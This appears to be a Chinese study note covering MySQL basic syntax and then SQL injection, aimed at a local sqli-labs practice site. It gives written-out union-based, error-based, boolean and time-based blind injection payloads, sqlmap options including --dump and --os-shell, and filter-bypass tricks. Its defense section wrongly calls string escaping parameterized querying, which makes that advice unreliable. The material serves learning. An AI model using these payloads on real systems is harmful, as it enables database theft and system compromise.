目录
Mysql 基础语法(增删改查)
MySQL 基础语法
所有 mysql 语句的结尾,一定加上英文分号
查询
cmd>mysql -uroot -proot
mysql> show databases; 查看有哪些数据库
mysql> use mysql; 进入一个名字为 mysql 的数据库
mysql> show tables; 查看当前数据库中有哪些表
重要 user 表 中有哪些内容
mysql> select * from user; 查看表
mysql> desc mysql.user; 查看表结构
primary key 主键
mysql> select host,user,password from mysql.user where user='root';
按条件查询 只看 3 个字段 而且其中 user 字段值为 root 的内容
mysql> select host,user,password from user order by 1;
排序查看
增加
mysql> create database test; 数据库建立
mysql> create table test.userlist (id int,name char(15),tel int,primary key(id));
建立一个名为 userlist 表格 字段 id 整型 name 字符型 电话 整型 主键值是学号
mysql> insert into test.userlist (id,name,tel) value (1,'xiu',12345678910);
修改
help alter 命令
学号 姓名 电话
mysql> alter table test.userlist add sex char(10) after name;
在姓名和电话之间加入了性别字段。
mysql> alter table test.userlist modify tel char(15);
修改表结构
mysql> update test.userlist set tel='12341234567',sex='boy' where id=1;
根据条件更新表内容
删除
mysql> delete from test.userlist where id=1;
删除数据库和表格
mysql>drop table test.userlist 删除表
mysql>drop database test 删除数据库
information_schema(一个数据库)
Mysql 5 以上有内置库 information_schema,存储着 mysql 的所有数据库和表结构信息
重要的表
SCHEMATA 表
当前 mysql 数据库软件中所有数据库名称。TABLES 表
存储数据库中的所有的表的名称,包括表属于哪个数据库。
COLUMNS 表
存储表中的所有列的名称,包括列属于哪个表。
sql注入联合查询:
sql 注入原理
针对 SQL 的攻击行为可以描述为通过用户可控参数中注入 SQL 语法,破坏原有 SQL 结构,达到编写程序时意料之外结果的攻击行为,其成因可以归结为以下两个原因叠加造成的:
1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造 SQL 语句。
2、未对用户可控参数进行足够的过滤,便将参数内容拼接到 SQL 语句中。
分类
数字型 后端语言参数两边没有单双引号。
字符型 后端语言参数两边有单双引号。
前端判断
当 id=2-1 回显出 id=1 的返回结果,就为数字型;若显示出id=2的结果则为字符型。
可能存在的位置
根据 SQL 注入漏洞的原理,在用户的“可控参数”中注入 SQL 语法,也就是说 Web 应用在获取用户数据的地方,只要带入数据库查询,都有可能存在 SQL 注入的可能,这些地方通常包括:
GET 数据、POST 数据、cookie 数据
sql 注入利用
联合查询
联合查询适用于有显示位的注入,即某个页面位置会根据输入数据变化而变化。联合查询是最常用的 SQL 注入手法,有两个要求:一是字段数相同,二是数据类型相同。联合查询可以跨库,跨表查询。
注入点的判断
可以尝试语句:?id=33、?id=34、?id=32、?id=33'查看页面显示结果
判断列(字段)数
?id=1' order by 1 正常
?id=1' order by 2 正常
...
?id=1' order by n 不正常
说明当前表中有(n-1) 列。即判断出列数。
利用回显,显示出union查询结果。使用union时,union前语句为false才会执行union语句。
?id=111' union select 1,2,3
?id=1' and 1=2 union select 1,2,3
注入数据库名称
database()函数:显示当前数据库名称,语法:?id=111‘ union select database(),version(),3--+
表名
?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
字段名
?id=111 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()
结论:能够对列数进行判断,有回显,可以考虑用联合查询。
sql注入进阶(手动注入)
报错注入
在注入点的判断过程中,发现数据库中 SQL 语句的报错信息,会显示在页面中,因此可以进行报错注入。注意:错误信息来自于 数据库 、 中间件 还是 Web 容器 。
使用extractvalue()函数,concat()函数:连接三个参数,0x5e为上括号即^,语法:and extractvalue(1,concat(0x5e,(select database()),0x5e)) --+
还可以使用updatexml()函数,自己尝试输出结果,语法:updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
布尔盲注
利用页面的布尔类型状态来进行判断,⽬标获取数据库名字。
计算数据库名字的长度: ?id=1' and length(database())=8--+
还可以使用ascii()函数:计算ascii码,substr()函数:取字符串的第一个字符,语法:?id=2' and ascii(substr(database(),1,1))=115 --+
延时注入
http://127.0.0.1/sqllib/Less-8/?id=1'and If(ascii(substr(database(),1,1))=115,sleep(5),1)--+
利用 sleep() 语句的延时性,以时间线作为判断条件,利用if语句做判断,执行sleep()函数。
计算数据库名字的长度: ?id=3' and if(length(database())=8,sleep(5),1)--+:若数据库长度为8返回一种页面,可以尝试修改数据库值查看页面返回信息。
sql注入自动化
使用sqlmap工具:
-u 检测注⼊点
--batch 所有选项默认
--dbs 列出所有的库名
--current-user 当前连接数据库⽤户的名字
--current-db 当前数据库的名字
-D "mysql" 指定目标数据库为mysql
--tables 列出数据库中所有的表名
-T "user" 指定目标表名为'user'
--columns 列出所有的字段名
-C 'username,password' 指定目标字段
--dump 列出字段内容
-r 从文件中读取 HTTP 请求
--os-shell 在特定情况下,可以直接获得目标系统 Shell
--level 3 设置 sqlmap 检测等级 3
sql 注入防御
过滤特殊字符,采用参数化查询,使用户输入的参数永远为普通字符,不会被作为特殊符号打乱原有 sql 语句。
过滤特殊字符: preg_replace(), str_replace()
参数化查询:mysqli_real_escape_string()转义字符
以下为函数具体用法:
preg_replace($1,$2,$3)将参数3中的参数1字符替换为参数2字符
str_replace($1,$2,$3)将参数3中的参数1字符串替换为参数2字符
sprintf()为输出语句
mysqli_real_escape_string()转义字符串,用于防止 SQL 注入攻击。攻击者可以通过使用username里的 '--
注释符来注释掉后面的字符,从而绕过了密码认证的过程。仅在插入字符串(字符串类型的变量或常量)时才能有效地防止 SQL 注入攻击,并且需要在传入 SQL 查询语句之前使用。
sql 注入绕过
大小写绕过、双写绕过、使用 ||(or) 和 &&(and) (使用时进行 URL 编码%26)、 --+注释 +代替空格